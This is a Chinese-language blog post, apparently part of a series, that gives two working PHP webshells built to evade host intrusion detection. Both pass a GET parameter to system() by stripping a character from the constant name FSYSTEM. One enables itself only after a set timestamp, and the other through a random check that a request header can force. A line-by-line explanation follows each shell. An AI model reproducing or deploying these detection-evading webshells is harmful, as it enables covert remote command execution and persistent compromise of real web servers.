WEB安全--RCE--webshell HIDS bypass4

继WEB安全--RCE--webshell HIDS bypass3的补充：

十三、时间开关

webshell：

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理：

核心位置

$n='F' 
if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}

或运算符“||”也叫短路运算符，当前者成立就不会再判断后者了

我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ，当$da->getTimestamp()>=1725329100为假，$n='1'就会执行赋值的操作，这时$n的值就由'F'变为'1'，但是当$da->getTimestamp()>=1725329100为真，那么就不会执行$n='1'的操作，$n='F'的值就不变了。

我们的核心思想是：在上传webshell给hids检测时$da->getTimestamp()>=1725329100这个条件是假的，当然就不会被查杀，但是过了一段时间这个条件就为真了，我们这个时候访问webshell就能执行命令了。

function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');

创建一个函数传递内容，再用反射获取该函数

foreach ($function->getParameters() as $param) 

遍历取出内容

$param->getDefaultValueConstantName()

这里的参数为FSYSTEM

ltrim($param->getDefaultValueConstantName(),$n)

此时满足时间条件，$n='F'，ltrim从参数的默认值常量名中去掉前导的$n，也就是说FSYSTEM会变成SYSTEM，就能构成命令执行

十四、随机开关

webshell：

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理：

大致原理和时间开关相同。

核心位置

$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}

$p->getMessage()??100：指如果前者有值就取前者，反之取后者的值

mt_rand(1,10)：在1-10的闭区间随机取一个值

思考：如果在ParseError()中传入55，那么$p->getMessage()的值就是55，也就是说mt_rand(55,55) ==>55，if(55==55 || $n='1')第一个条件为真就不会进行$n='1'的操作，$n='F'，就能截取FSYSTEM中的F了。